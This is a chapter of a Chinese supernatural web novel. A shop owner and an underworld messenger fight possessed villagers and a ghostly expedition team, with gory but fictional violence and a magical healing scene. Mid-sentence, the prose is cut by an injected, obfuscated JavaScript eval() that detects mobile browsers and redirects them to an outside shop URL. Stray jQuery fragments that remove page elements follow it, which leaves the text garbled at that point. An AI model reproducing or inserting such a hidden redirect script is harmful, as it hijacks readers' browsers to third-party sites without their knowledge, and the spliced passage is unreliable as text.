“他们就是想开门!他们和外面的怪物是一伙的!!”

    梅梅在角落里大喊一声,却没有人理会她。

    只有殷无声微微侧过头,低垂着眼眸轻扫了她一眼。

    因为此时,殷无声刚刚将再次扒在谢寰身上的老妇拉开,用力甩在地上。

    就发现谢寰受伤了……

    他的腹部不知道什么时候,被捅了一刀,浓黑的魂液顺着谢寰的指缝往外涌。

    殷无声有一瞬慌了神,立刻怒视那些人。

    前仆后继的人,一叠一叠地往上扑,嘴里念的都是重复的“台词”。

    殷无声彻底失去耐心,从扯下丢出去,变成用脚踢飞。

    还有在地上爬着想去偷偷开门的,殷无声直接学谢寰,开条门缝,一脚踹了出去。

    “滚!”动作娴熟又狠戾。

    “怪人”们一个个不光挂了彩,更有甚者胳膊骨折,腿断的都一个劲儿往上冲。

    这种一往无前的精神,让躲在草里的梅梅连称啧啧啧,敬你们是条汉子。

    梅梅从未见过她老板真正发脾气,时常都是笑呵呵的模样。

    这画面对她来说,多少有点冲击力太大。

    殷无声忙着对付那些像傀儡一样的“怪人”,却没注意到此时的谢寰,已经单膝跪地。

    大口大口喘着粗气。

    “谢哥!”梅梅从草堆里钻出来。

    瞧真切后,谢寰左手捂着腹部,手背已经被“黑血”覆盖,就连身穿的黑服也侵染了一圈润渍。

    “谢哥!你受伤了?!撑住啊!”

    梅梅用手盖住谢寰的左手,想帮他止血。

    可接触到他手背的瞬间,阴冷的寒意似乎是从毛孔深处往外钻,顺着手臂很快爬满全身。

    梅梅本能地打了个寒颤,口中的呼吸化成白霜。

    “谢哥!你……你怎么这么冷!”

    谢寰一把将她推开,“你是活人肉身,不要……碰我,会损耗你的阳气。”

    那也不能看着你流血流死啊!一起来的,就要一起回!不管你是什么东西!

    “邓老师!有没有队医!队医!!”

    梅梅朝墙边,各个惊愕得不敢出声的科考队员们大喊,年轻的邓老师把身边的女队员推了出去。

    “她……她是队医!”

    女队员一脸的不乐意,远远绕过那些发疯的人,沿着墙根来到谢寰附近。

    “老师!你救救他!帮帮他!能止血就行!!”

    而那女队医只是看了一眼谢寰手臂上,散发着阴气的浓黑魂液,身子一软,惊恐地跪倒在地。

    她僵硬地别过头,望着其他科考队的队员,眼圈里净是因为害怕盛的泪。

    结结巴巴地根本不能称之为说,而是从牙缝里挤出几个字。

    “是……是是……阴差!!”

    梅梅瞪大双眼,谁?阴啥?

    女队医终于情绪失控,大声哭了出来,四肢不听使唤的在地上滚着爬着,边爬边念叨。

    “是阴差!他是阴差!!”

    其余几个科考队的成员,包括年轻的邓老师在内,在清晰地听到“阴差”两个字时,全部从惊恐中跳脱。

    换了一张冷冰冰的表情,肌肉松弛,眼尾下垂。

    不明用意地盯着谢寰的方向。

    而殷无声这边,抱着幼童的老妇,再次踉踉跄跄地起身。

    “你这个杀千刀的!你杀了我孙子!……”

    果然还是重复的嘶吼和行为。

    老妇站在原地,动了动老化的关节,咔吧咔吧响。

    殷无声终于看到了那把明晃晃的“凶器”。

    一把通体漆黑的短匕首。

    并不是在老妇手里,而是趴在她怀里的,脸埋在老妇颈窝里的幼童。

    幼童双手环着老妇的脖颈,一只握着尖刀的手,阴测测从老妇另一头的肩膀伸出。

    脖子忽然180度大转弯,和老妇脸贴脸,像个连体怪物,一老一少。

    一起发出尖锐又刺耳的奸笑,还在重复着那些话,只是这回声音变成了两个人的声线。

    说起话来,诡异又滑稽。

    “你这个杀(da)千(dian)刀的!你杀(da)了我孙(dun)子……”

    那幼童居然是个口痴大舌头,话还说不利索呢,就出来营业了?

    老妇抱着幼童,幼童的脖子扭成麻花,两个人狞笑着对殷无声比量刀子。

    地上爬的是所剩无几的“怪人”,被殷无声打一脸的血,打怕了,一个个只敢虎视眈眈重复台词,却不敢上前。

    殷无声跨过他们,走到老妇面前,老妇一惧退后半步,他就跟上半步。

    把老妇逼退到木板墙上,再无退路。

    殷无声冷着脸,毫不悲悯,也看不出愤怒,只是静静地看着她,双手插回裤兜里。

    一个飞脚。

    刀子被踢飞,还有攥着刀子的幼童手臂。

    “杂碎,好大的胆子。”他的话语里似是挂满冰凌。

    不知道是不是错觉,梅梅竟觉得她老板说这话时,自带回响,如神降临。

    紧接着是一记直踹。

    这一脚落在那老妇脸上,整个头颅顿然炸开,在墙上朝四面八方喷洒出太阳的形状。

    幼童见状急了,嘴里一直发出尖锐的呐喊“杀千刀的杀千刀的”。

    可他在那老妇怀里被抱得紧,不能挣脱。

    殷无声的脚都没有收回,接着一个侧踢,把那幼童的头,踢飞到另一面墙上。

    力道大得直接撞碎,像个碎掉的小西瓜。

    “噗!”溅了满墙西瓜汁。

    殷无声“杀”红了眼,看着在地上爬的那些“怪人”。

    离自己最近的是穿着现代常服的男生,跟他一起的女生被丢到了另一边。

    殷无声朝男生只是提起膝盖。

    男生立马从爬着换成跪姿,双手合十祈求。

    “好汉饶命!我……我自己滚!”

    殷无声挑了挑眉,看向所剩无几“怪人”。

    “你们呢?”

    “走走走,大人饶命!小女子这就走!立刻走!”

    说完几个人连滚带爬冲出了门。

    关上门的瞬间,外面的恶鬼轰隆声不见了,夕阳的余晖从门缝窗缝洒进来。

    除了阵阵风啸,好像一切都恢复平静。

    门外的恶鬼消失了。

    ……

    全程旁观的科考队员们,似乎也松了口气。

    不过不是每一位都这样,至少梅梅看见了,邓老师一直拧着眉头,站在角落的位置。

    还有,那个瘸了腿的男队员的眼神,也和其他人不太一样。

    梅梅只当是每个人面对劫后余生的态度不同,没有多在意。

    回过神来的殷无声,快速回到谢寰身边查看他的伤势。

    好在梅梅帮她止血那一下,阴阳二气冲撞,短暂触发了身体的保护机制,魂液的流速没那么快了。

    殷无声熟练地撕开谢寰腹部的衣服一看。

    惊得梅梅立刻皱起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718729|208567||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    五官。

    只是那道伤口太过骇人,明明很短很细的小刀子,居然划开手掌宽的口子,依然有少量的魂液向外翻涌。

    是刀插进去,向下用力过的切割伤。

    “你坚持一下!可能有点疼。”

    谢寰虚弱地伸出手挡在殷无声面前。

    “我没事……不用你操心。”

    论风一阵儿雨一阵儿的人,当属谢寰。

    梅梅翻了个白眼。

    刚才俩人还统一战线呢,这会儿还能害他不成?装x。

    梅梅一个头槌,“你快消停的吧!老板可老厉害了!他能亲自治你你还装啥呢装。”

    趁着谢寰有点蒙圈地瞪着梅梅,殷无声没有犹豫片刻,咬破自己的虎口,鲜红的血顿时淌了出来。

    他攥紧拳头,想让鲜血挤出更多,一滴一滴落在谢寰腹部的伤口之上。

    可奇怪的是,那鲜血流出是红色,落在谢寰身上却变成金色,还闪着荧光。

    被金色血液漫过的皮肤,开始灼烧般冒出黑烟。

    谢寰痛苦地咬着嘴唇,五官扭曲,斗大的汗珠子滚个不停,就是倔强一声不吭。

    本来这张看起来还算帅气的小脸儿,就没什么血色,这一咬,嘴唇也跟着煞白。

    梅梅一度觉得他这脸色,去坟头蹲几天,准能吓死好几个人,和鬼。

    殷无声将咬破的手掌轻轻覆在他的腹部之上。

    另一只手掐起手诀,嘴唇蠕动念起晦暗的咒语。

    直到谢寰的脸色逐渐平缓,额头的汗珠打湿碎落的刘海儿。

    他才挪开那只手。

    而被他抚过的伤口,竟然肉眼可见地愈合了,连块斑痕都没留下。

    “哇!!老板你华佗在世啊!!”

    殷无声长长舒了口气。

    “华佗?那我小弟。”

    “啧啧……一个装x,一个吹牛x,你俩真行。”

    谢寰喘着粗气,瞳孔在最痛的时候几乎失焦,缓过神后自己尝试起身。

    虽然还是很疼,但腹部的裂口确实消失不见,只留下一片浓浓又黏腻的魂液。

    殷无声这一举动,并没有让谢寰对他心存感激。

    反而在他心里埋下了更深的疑影。

    这哪里是常人能炼就的法术?他到底是什么人……

    ……

    殷无声蹲在地上,撇过头看着那几个墙角缩在一起科考队员。

    “他们怎么处理?这就是你的职责范围了。”

    谢寰当然明白他的意思,在梅梅的搀扶下起身。

    手中的雷渡锁链重新挂上噼啪作响的阴雷。

    “说吧,谁是怨主。”

    七个人没有一个敢正眼瞧他,都躲避着低下头。

    “邓老师,说出怨主的名字,我谢寰必定将你好好送回地府,安稳转生。”

    年轻的邓老师闭紧双眼,浑身哆嗦着摇头,不停地缩着自己的身体。

    “邓老师,你不认识我和老板了吗?我是梅梅啊!”

    梅梅看着邓老师的模样,忽然心生不忍,她本可以不插嘴,但实在不明白,这么凶险的业笼,真的会是一生教书育人,善良和蔼的邓老师参与的吗?

    年轻的老邓听见梅梅的话,抬头看了一眼她和殷无声。

    又怯生生地瞟着身边的瘸腿的男队员。

    那位男队员抱着双臂,把脸埋得低低的。

    他未动,可除了邓老师之外的其他队员。

    忽然在三人面前,全部消失了。

    ……